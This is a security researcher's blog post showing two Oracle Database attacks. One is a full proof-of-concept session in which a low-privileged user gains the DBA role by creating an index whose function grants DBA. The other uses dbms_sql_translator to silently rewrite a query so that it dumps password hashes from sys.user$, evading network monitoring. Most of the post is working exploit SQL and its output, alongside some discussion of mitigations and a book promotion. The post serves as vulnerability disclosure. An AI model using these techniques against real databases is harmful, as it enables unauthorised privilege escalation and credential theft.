Three Tier Oracle Security in London ~ Paul M. Wright

(nix, oracle, java, www, cloud ) intersect (safety, security, reliability, integrity)

Three Tier Oracle Security in London ~ Paul M. Wright RSS Feed
 

INDEX to SYSDBA without SELECT

Hello Oracle Security Readers,

If we combine the following factors together then we can identify an escalation route from Index on SYSTEM to SYSDBA which does not require SELECT privileges on the indexed table:

1. SYSTEM passes it’s DBA role through it’s procedures.

2. Oracle indexes allow execution from read via functions i.e. INDEX can execute a function.

3. Oracle analyses indexes before they are used.

The PoC code is below:


@?/sqlplus/admin/pupbld.sql 

INSERT INTO PRODUCT_USER_PROFILE VALUES ('SQL*Plus', 'TEST', 'MODIFY', NULL, NULL, 'DISABLED', NULL, NULL); 

create user test identified by o; 
grant create session, create procedure, create any index to test; 

SQL*Plus: Release 11.2.0.2.0 Production on Wed Dec 11 09:47:26 2013 
Copyright (c) 1982, 2010, Oracle.  All rights reserved. 
Connected to: 
Oracle Database 11g Enterprise Edition Release 11.2.0.2.0 - Production 
With the Partitioning, OLAP, Data Mining and Real Application Testing options 

SQL> conn test/o 
Connected. 

SQL> CREATE OR REPLACE FUNCTION test.Y (GASP VARCHAR) RETURN VARCHAR DETERMINISTIC AUTHID CURRENT_USER IS 
PRAGMA AUTONOMOUS_TRANSACTION; 
BEGIN 
EXECUTE IMMEDIATE 'GRANT DBA TO TEST'; 
COMMIT; 
RETURN 'GASP'; 
END; 
/  2    3    4    5    6    7    8   
Function created. 

SQL> grant execute on test.y to public; 
Grant succeeded. 

SQL> create index system.escalation_index on system.SQLPLUS_PRODUCT_PROFILE(test.y('name')); 
Index created. 

SQL> set role dba;  
Role set.

So the ability to create an index can lead to SYSDBA. Oracle have made the above more difficult to achieve in 12c by adding an INHERIT privilege requirement which blocks the above code, and therefore represents another good reason to upgrade from 11g to 12c. I discuss this in my new book along with other issues, for publication in April, and already available to purchase in Alpha format at this URL http://www.apress.com/9781430262114

What sort of defences have organisations been using recently to combat attacks like the above? Surprisingly there has still been a large focus on network monitoring to implement DB Security. I say surprisingly because new DB Sec research has been focused for a while on controlling internal high privilege within the DB. A privileged account can bypass network monitoring even if it is host based. A good example of bypassing a host based network monitor (e.g. SNORT/Guardium et al) is the dbms_sql_translator package introduced with 12c demonstrated below:


conn / as sysdba

SQL> exec dbms_sql_translator.create_profile('BYPASSNETMON');

PL/SQL procedure successfully completed.

SQL> select object_name, object_type from dba_objects where object_name like 'BYPASSNETMON';

OBJECT_NAME
--------------------------------------------------------------------------------
OBJECT_TYPE
-----------------------
BYPASSNETMON
SQL TRANSLATION PROFILE

SQL> exec dbms_sql_translator.register_sql_translation('BYPASSNETMON','select username from dba_users','select user, password from sys.user$')

PL/SQL procedure successfully completed.

SQL> alter session set sql_translation_profile = BYPASSNETMON;

Session altered.

SQL> alter session set events = '10601 trace name context forever, level 32';

Session altered.

SQL> select username from dba_users;

USER
------------------------------
PASSWORD
----------------------------------------
SYS
987B14B42862C0C1

SQL> SELECT GRANTEE FROM DBA_TAB_PRIVS WHERE TABLE_NAME='DBMS_SQL_TRANSLATOR';

GRANTEE
--------------------------------------------------------------------------------
PUBLIC

To achieve this monitoring bypass all that is required is CREATE SQL TRANSLATION PROFILE privilege and ALTER SESSION. Gaining ALTER SESSION has been achievable, as my previous book showed http://www.dba-oracle.com/forensics/t_forensics_vulnerable.htm

And there are other methods to gain ALTER SESSION in newer versions of Oracle DB, and the CREATE SQL TRANSLATION PROFILE privilege is only needed at creation time, so verifying that a session is not being translated surreptitiously requires some expertise. More to come on this.

Ready made methods to alert to the unauthorised use of dbms_sql_translator are the native audit trail, or for high security scenarios a memory monitor such McAfee’s DB Sec monitoring tool here provides high protection http://www.mcafee.com/us/products/database-activity-monitoring.aspx

There are positives from a security perspective in 12c, and of course with Oracle we can add our own defenses. The new book http://www.apress.com/9781430262114 adds these following protections among others:

  1. Incoming DB Link blocking using Native IPS
  2. Forensic rootkit detection
  3. Break-glass Access Control security
  4. Automated statechecking from root
  5. Adaptive security response using EM12c
  6. Fine grained user management
  7. Centralised audit trail lifecycle
  8. Vulnerability scanning for verification using Perl
  9. Securing privileged access control
  10. 12c decryptions and defenses

Anyway I won’t spoil the surprise – so enjoy your weekends!

Cheers,

Paul M. Wright

P.S. Commenting works now as the Maths Captcha plugin has dealt with the spambots

Leave a Reply

You must be logged in to post a comment.